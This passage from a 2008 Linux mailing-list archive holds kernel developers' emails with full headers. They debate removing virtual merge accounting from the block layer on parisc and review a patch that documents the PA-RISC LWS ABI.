	 <20080715231956A.fujita.tomonori@lab.ntt.co.jp>
	 <1216133421.3312.30.camel@localhost.localdomain>
	 <Pine.LNX.4.64.0807151104450.26824@devserv.devel.redhat.com>
	 <1216136503.3312.48.camel@localhost.localdomain>
	 <Pine.LNX.4.64.0807151147040.29803@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216138116 31318 80.91.229.12 (15 Jul 2008 16:08:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 16:08:36 +0000 (UTC)
Cc: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, davem@davemloft.net,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-scsi-owner@vger.kernel.org Tue Jul 15 18:09:23 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KIn5L-0003WN-Tr
	for lnx-linux-scsi@gmane.org; Tue, 15 Jul 2008 18:09:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756002AbYGOQH6 (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Tue, 15 Jul 2008 12:07:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755952AbYGOQH6
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Tue, 15 Jul 2008 12:07:58 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:43755 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752515AbYGOQH4 (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>);
	Tue, 15 Jul 2008 12:07:56 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id DF2898BDA;
	Tue, 15 Jul 2008 11:07:53 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216138074; bh=I55WEJbqWE6/NRHiKOptkihdzDVOg5pgpQ3xGwFOqq
	Y=; l=4347; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=SXqpgBO2PlDUXS1mg9LNyIzT5x4BoXh382zsN
	I3bKBZasBAuzwhfL7FEQvMxLXdi1f/iZdPOEZb9gk7KnWbwUZqD8jEzsQaCyVbX+Y0l
	eUyij++7/MpPwI9TAXbFKX2GsYchPiPKnneis2fsV7aDraZanoM9RlmDbDJo6Zv+GwE
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5rlak7oN0HPu; Tue, 15 Jul 2008 11:07:52 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 4F0058033;
	Tue, 15 Jul 2008 11:07:52 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216138072; bh=I55WEJbqWE6/NRHiKOptkihdzDVOg5pgpQ3xGwFOqq
	Y=; l=4347; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=k7fFeq/XD8PJvXao7Q8x/VBVajB14qCwba9bV
	Q7ABxufpce40HQcA/5eAb1zAMugoY1ES+vpShm2I2l39M8ylAPbfOZWWIy29sQJFKBO
	Sy0elyOTpzeyoHsLz8s/h3VsDsbMYFGpCfdCVAV55MP6Uo5KXF8YoP+W2ZhgnOOip+E
	=
In-Reply-To: <Pine.LNX.4.64.0807151147040.29803@devserv.devel.redhat.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43175 gmane.linux.kernel:706946 gmane.linux.ports.parisc:505
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/505>

On Tue, 2008-07-15 at 11:58 -0400, Mikulas Patocka wrote:
> You are mixing two ideas here:
> 
> (1) virtual merging --- IOMMU maps discontinuous segments into continuous 
> area that it presents to the device.
> 
> (2) virtual merge accounting --- block layer tries to guess how many 
> segments will be created by (1) and merges small requests into big ones. 
> The resulting requests are as big that they can't be processed by the 
> device if (1) weren't in effect.

No ... I'm not ... the virtual merge implementation requires the block
layer to get this accounting right, otherwise the iommu code can end up
doing the wrong thing.

You're proposing to eliminate the difference between max_phys_segments
and max_hw_segments without actually removing them.

> >> The problem is with vmerge accounting in block layer (that is what I'm
> >> proposing to remove), not with vmerge itself.
> >
> > I don't think that's true ... otherwise parisc would be falling over
> > left right and centre.
> >
> >> Vmerge accounting has advantages only if you have device with small amount
> >> of sg slots --- it allows the block layer to create request that has
> >> higher number of segments then the device.
> >
> > This isn't really true either.  A lot of devices with a high sg slot
> > count are still less efficient than an iommu for programming.
> 
> --- for these devices virtual merging (1) improves performance, but 
> virtual merge accounting (2) doesn't.
> 
> > Even if they're not, on parisc we have to program the iommu, we can't
> > bypass, so it still makes sense to only have one large sg list (in the
> > iommu) and one small one (in the device).  Having two large ones reduces
> > our I/O throughput because of the extra overhead.
> >
> >> If you have device with for example 1024 slots, the virtual merge
> >> accounting has no effect, because the any request will fit into that size.
> >
> > It's not about fitting a request, it's about efficient processing.
> 
> Virtual merge accounting (2) is about fitting a request. It is block layer 
> technique.
> 
> >> Even without virtual merge accounting, the virtual merging will happen, so
> >> there will be no performance penalty for the controller --- the controller
> >> will be programmed with exactly the same number of segments as if virtual
> >> merge accounting was present. (there could be even slight positive
> >> performance effect if you remove accounting, because you burn less CPU
> >> cycles per request)
> >
> > Yes there is.  Both the iommu and the device have to traverse large SG
> > lists.  This is where the inefficiency lies.  On PA, we use exactly the
> > same number of iotlb slots whether virtual merging is in effect or not,
> > but the device has an internal loop to go over the list.  It's that loop
> > that virtual merging reduces.
> >
> > Since the virtual merge computation is in line when the request is built
> > (by design) it doesn't really detract from the throughput and the cost
> > is pretty small.
> 
> The purpose of (1) virtual merging is to save device's sg slots. The 
> purpose of (2) virtual merge accounting is to allow block layer to build 
> larger requests. If you remove virtual merge accounting, it will cause no 
> increase in number of sg slots used.
> 
> >>> I suspect with IOMMUs coming back (and being unable to be bypassed) with
> >>> virtualisation, virtual merging might once more become a significant
> >>> value.
> >>
> >> I suppose that no one would manufacture new SCSI card with 16 or 32 sg
> >> slots these days, so the accounting of hardware segments has no effect on
> >> modern hardware.
> >
> > It's not about accounting, it's about performance.  There's a cost in
> > every device to traversing large count sg lists.  If you have to bear it
> > in the iommu (which is usually more efficient because the iotlb tends to
> > follow mmtlb optimisations) you can reduce the cost by eliminating it
> > from the device.
> 
> That's why I'm proposing to remove virtual merge accounting (2), but leave 
> virtual merging (1) itself. The accounting doesn't reduce number of sg 
> slots.

Yes, but it's gains very little ... architectures that don't want it can
already turn it off, and it's useful for those, like parisc, who do.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
 about VMERGE
Date: Tue, 15 Jul 2008 12:20:59 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0807151210400.31336@devserv.devel.redhat.com>
References: <1216118676-13625-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
  <Pine.LNX.4.64.0807150924250.21598@devserv.devel.redhat.com> 
 <20080715231956A.fujita.tomonori@lab.ntt.co.jp>  <1216133421.3312.30.camel@localhost.localdomain>
  <Pine.LNX.4.64.0807151104450.26824@devserv.devel.redhat.com> 
 <1216136503.3312.48.camel@localhost.localdomain> 
 <Pine.LNX.4.64.0807151147040.29803@devserv.devel.redhat.com>
 <1216138072.3312.54.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Trace: ger.gmane.org 1216138989 2226 80.91.229.12 (15 Jul 2008 16:23:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 16:23:09 +0000 (UTC)
Cc: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, davem@davemloft.net,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 15 18:23:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KInJj-0000rf-Lm
	for glpp-linux-parisc@gmane.org; Tue, 15 Jul 2008 18:23:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757339AbYGOQWW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jul 2008 12:22:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757364AbYGOQWW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jul 2008 12:22:22 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:32869 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752515AbYGOQWU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jul 2008 12:22:20 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m6FGL0m1006146;
	Tue, 15 Jul 2008 12:21:04 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m6FGL09Z030530;
	Tue, 15 Jul 2008 12:21:00 -0400
Original-Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by file.rdu.redhat.com (8.13.1/8.13.1) with ESMTP id m6FGL0ew017354;
	Tue, 15 Jul 2008 12:21:00 -0400
Original-Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1])
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id m6FGL0NW031938;
	Tue, 15 Jul 2008 12:21:00 -0400
Original-Received: from localhost (mpatocka@localhost)
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11/Submit) with ESMTP id m6FGKxjh031934;
	Tue, 15 Jul 2008 12:20:59 -0400
X-Authentication-Warning: devserv.devel.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@devserv.devel.redhat.com
In-Reply-To: <1216138072.3312.54.camel@localhost.localdomain>
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:506 gmane.linux.kernel:706956 gmane.linux.scsi:43177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/506>

On Tue, 15 Jul 2008, James Bottomley wrote:

> On Tue, 2008-07-15 at 11:58 -0400, Mikulas Patocka wrote:
>> You are mixing two ideas here:
>>
>> (1) virtual merging --- IOMMU maps discontinuous segments into continuous
>> area that it presents to the device.
>>
>> (2) virtual merge accounting --- block layer tries to guess how many
>> segments will be created by (1) and merges small requests into big ones.
>> The resulting requests are as big that they can't be processed by the
>> device if (1) weren't in effect.
>
> No ... I'm not ... the virtual merge implementation requires the block
> layer to get this accounting right, otherwise the iommu code can end up
> doing the wrong thing.

The virtual merge (1) can work even without accounting (2). IOMMU can 
always create less sg entries then the block layer expects.

> You're proposing to eliminate the difference between max_phys_segments
> and max_hw_segments without actually removing them.

Yes. Only for alpha and pa-risc, there is difference between these values. 
And both of these architectures are being discontinued.

>> That's why I'm proposing to remove virtual merge accounting (2), but leave
>> virtual merging (1) itself. The accounting doesn't reduce number of sg
>> slots.
>
> Yes, but it's gains very little ... architectures that don't want it can
> already turn it off, and it's useful for those, like parisc, who do.
>
> James

It increases maintainability of the code, reduces bloat and bugs.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
	blk_recalc_rq_segments about VMERGE
Date: Tue, 15 Jul 2008 11:36:32 -0500
Lines: 53
Approved: news@gmane.org
Message-ID: <1216139792.3312.74.camel@localhost.localdomain>
References: <1216118676-13625-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
	 <Pine.LNX.4.64.0807150924250.21598@devserv.devel.redhat.com>
	 <20080715231956A.fujita.tomonori@lab.ntt.co.jp>
	 <1216133421.3312.30.camel@localhost.localdomain>
	 <Pine.LNX.4.64.0807151104450.26824@devserv.devel.redhat.com>
	 <1216136503.3312.48.camel@localhost.localdomain>
	 <Pine.LNX.4.64.0807151147040.29803@devserv.devel.redhat.com>
	 <1216138072.3312.54.camel@localhost.localdomain>
	 <Pine.LNX.4.64.0807151210400.31336@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216139830 5609 80.91.229.12 (15 Jul 2008 16:37:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 16:37:10 +0000 (UTC)
Cc: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, davem@davemloft.net,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 15 18:37:57 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KInWv-00071u-Kh
	for glpp-linux-parisc@gmane.org; Tue, 15 Jul 2008 18:37:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752851AbYGOQgi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jul 2008 12:36:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753474AbYGOQgi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jul 2008 12:36:38 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:51175 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752851AbYGOQgh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jul 2008 12:36:37 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id D538F8BDA;
	Tue, 15 Jul 2008 11:36:34 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216139795; bh=H30xpz1vT8PUXrlIIS9c6lNDAL/IBM06WRezusSUuc
	o=; l=2017; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=Kcz9uDSvAMjvKcrXhuuTZoKlwxVXS2wOLY4fz
	ukqRLnDs7hVgOvvj/b+lK1ZYmdyMwsdtQ024kgg8krLmTDUonWvzWcNeNh9wn8embX4
	ycMawNKFBXoHvkkZoMOAq3UU1hXwV8lno2P1xZeJN4cDva40bAzkbPtYRsKpZPNfbr0
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OG-15BIgwoWt; Tue, 15 Jul 2008 11:36:33 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id EA74B7FAB;
	Tue, 15 Jul 2008 11:36:32 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1216139793; bh=H30xpz1vT8PUXrlIIS9c6lNDAL/IBM06WRezusSUuc
	o=; l=2017; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=fqR7KWEXUZev0icir5Esq90hw3FMyEmTUoiXR
	LcTYJPnyDJUmT+G8hiEKZ6nCYtLOvs92GwwDHk7C9dKnd60vJpbMor8a1AaqNOodskK
	ZftKm5zmPrBDwbXSUX4uUM7j4x1sVER5d2oj9W6RjhVWbJBq7WbsQ82nQnGyP6RW0+k
	=
In-Reply-To: <Pine.LNX.4.64.0807151210400.31336@devserv.devel.redhat.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:507 gmane.linux.kernel:706962 gmane.linux.scsi:43178
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/507>

On Tue, 2008-07-15 at 12:20 -0400, Mikulas Patocka wrote:
> On Tue, 15 Jul 2008, James Bottomley wrote:
> 
> > On Tue, 2008-07-15 at 11:58 -0400, Mikulas Patocka wrote:
> >> You are mixing two ideas here:
> >>
> >> (1) virtual merging --- IOMMU maps discontinuous segments into continuous
> >> area that it presents to the device.
> >>
> >> (2) virtual merge accounting --- block layer tries to guess how many
> >> segments will be created by (1) and merges small requests into big ones.
> >> The resulting requests are as big that they can't be processed by the
> >> device if (1) weren't in effect.
> >
> > No ... I'm not ... the virtual merge implementation requires the block
> > layer to get this accounting right, otherwise the iommu code can end up
> > doing the wrong thing.
> 
> The virtual merge (1) can work even without accounting (2). IOMMU can 
> always create less sg entries then the block layer expects.

It can, but it's not optimal ... and depends on max_phys_segments ==
max_hw_segments.

> > You're proposing to eliminate the difference between max_phys_segments
> > and max_hw_segments without actually removing them.
> 
> Yes. Only for alpha and pa-risc, there is difference between these values. 
> And both of these architectures are being discontinued.
> 
> >> That's why I'm proposing to remove virtual merge accounting (2), but leave
> >> virtual merging (1) itself. The accounting doesn't reduce number of sg
> >> slots.
> >
> > Yes, but it's gains very little ... architectures that don't want it can
> > already turn it off, and it's useful for those, like parisc, who do.
> 
> It increases maintainability of the code, reduces bloat and bugs.

That's not really a good reason.  You can eliminate code because it's
unused and unikely to be used or you redo it to better or fix it to be
less buggy.  You don't simply eliminate useful functionality that
currently has in-tree users, however marginal you might opine those
users to be.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Document LWS ABI.
Date: Tue, 15 Jul 2008 19:32:50 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <487CDF42.3050800@gmx.de>
References: <119aab440807150533y2b56f612w6f6fa12ed28b45fe@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216143187 18410 80.91.229.12 (15 Jul 2008 17:33:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 17:33:07 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	John David Anglin <dave.anglin@nrc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 15 19:33:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KIoPQ-0005RY-6V
	for glpp-linux-parisc@gmane.org; Tue, 15 Jul 2008 19:33:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751935AbYGORc5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jul 2008 13:32:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753921AbYGORc5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jul 2008 13:32:57 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:44636 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751935AbYGORc4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jul 2008 13:32:56 -0400
Original-Received: (qmail invoked by alias); 15 Jul 2008 17:32:54 -0000
Original-Received: from mnhm-590f55b2.pool.einsundeins.de (EHLO halden.box) [89.15.85.178]
  by mail.gmx.net (mp061) with SMTP; 15 Jul 2008 19:32:54 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19zvG51XWxzoD/olOrqMc35ZCoxJysH4lOtGPisZO
	FmlYBwyPOqvNaE
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <119aab440807150533y2b56f612w6f6fa12ed28b45fe@mail.gmail.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.67
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:508
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/508>

Carlos O'Donell wrote:
> Helge,
> 
> The LWS interface *already* has a 64-bit runtime entry point, see
> arch/parisc/kernel/syscall.S:
> [....]

Sure. I thought the discussion was about adding a 64-bit runtime entry 
point which operates on a 64-bit pointer. But this can be done discussed 
when 64-bit userspace is coming...

> Helge, please review. I rolled in your fix for the superfluous .align
> 16. I would like your signed-off-by if you think the patch is good.
> 
> [PARISC] Document LWS ABI and LWS cleanups.
> 
> Document the LWS ABI including implementation notes for
> userspace, and comment cleanup.
> 
> Remove extraneous .align 16 after lws_lock_start.
> 
> Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>

Signed-off-by: Helge Deller <deller@gmx.de>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Document LWS ABI.
Date: Tue, 15 Jul 2008 15:51:07 -0400
Lines: 100
Approved: news@gmane.org
Message-ID: <119aab440807151251m7d00ca82gde10474cb35e8430@mail.gmail.com>
References: <119aab440807150533y2b56f612w6f6fa12ed28b45fe@mail.gmail.com>
	 <487CDF42.3050800@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; 
	boundary="----=_Part_14571_9724522.1216151467651"
X-Trace: ger.gmane.org 1216151486 17008 80.91.229.12 (15 Jul 2008 19:51:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2008 19:51:26 +0000 (UTC)
Cc: "Kyle McMartin" <kyle@mcmartin.ca>,
	"John David Anglin" <dave.anglin@nrc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 15 21:52:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KIqZC-0008J1-Al
	for glpp-linux-parisc@gmane.org; Tue, 15 Jul 2008 21:52:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753346AbYGOTvL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Jul 2008 15:51:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755912AbYGOTvL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 15 Jul 2008 15:51:11 -0400
Original-Received: from yx-out-2324.google.com ([74.125.44.28]:46728 "EHLO
	yx-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753346AbYGOTvJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Jul 2008 15:51:09 -0400
Original-Received: by yx-out-2324.google.com with SMTP id 8so1686807yxm.1
        for <linux-parisc@vger.kernel.org>; Tue, 15 Jul 2008 12:51:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type:references
         :x-google-sender-auth;
        bh=H+s4KMCiJYQ/z6Fdpct6dQQvtop2SMLJyhtzu+apQ3o=;
        b=vWJc/eOczbQYKvGTzErX/uswI39s/YzU/u4hesfgVeMQm+BQcWqxJOZWn7BPAVqw5j
         U7ZFNX77iy6UPwdlXtCeltVr3N/z9qXO98J/Gn8Wkkm6aJpbG/NIPGcst9e0ioL1g1rC
         YH28sEgLppAGQf1heZUYxH/al2AW+lrIhuluE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:references:x-google-sender-auth;
        b=i5CTZs0UT4H2E+/ZSxfdM3QFcZvyn1uzL4Wkrhjr2L8TPgRkfxMc4zJRLSJnSJjWLQ
         KQEXY350tUtChkIySczLxXU0DgJPexDQPoC3vbZrnVVpHKk+FbRYqwKrV0jn3h/sM92i
         qmt4U8CwZMLdFPa4Aq30QpOBOQ8RSnMwcVg5w=
Original-Received: by 10.115.50.5 with SMTP id c5mr13511959wak.60.1216151467649;
        Tue, 15 Jul 2008 12:51:07 -0700 (PDT)
Original-Received: by 10.115.75.10 with HTTP; Tue, 15 Jul 2008 12:51:07 -0700 (PDT)
In-Reply-To: <487CDF42.3050800@gmx.de>
X-Google-Sender-Auth: e1a3f862590b29e6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:509
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/509>

------=_Part_14571_9724522.1216151467651
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Tue, Jul 15, 2008 at 1:32 PM, Helge Deller <deller@gmx.de> wrote:
>> The LWS interface *already* has a 64-bit runtime entry point, see
>> arch/parisc/kernel/syscall.S:
>> [....]
>
> Sure. I thought the discussion was about adding a 64-bit runtime entry point
> which operates on a 64-bit pointer. But this can be done discussed when
> 64-bit userspace is coming...

The entry point is already there. It's LWS #1. Apparnetly I created it
with a 64-bit userspace in mind.

>> Helge, please review. I rolled in your fix for the superfluous .align
>> 16. I would like your signed-off-by if you think the patch is good.
>>
>> [PARISC] Document LWS ABI and LWS cleanups.
>>
>> Document the LWS ABI including implementation notes for
>> userspace, and comment cleanup.
>>
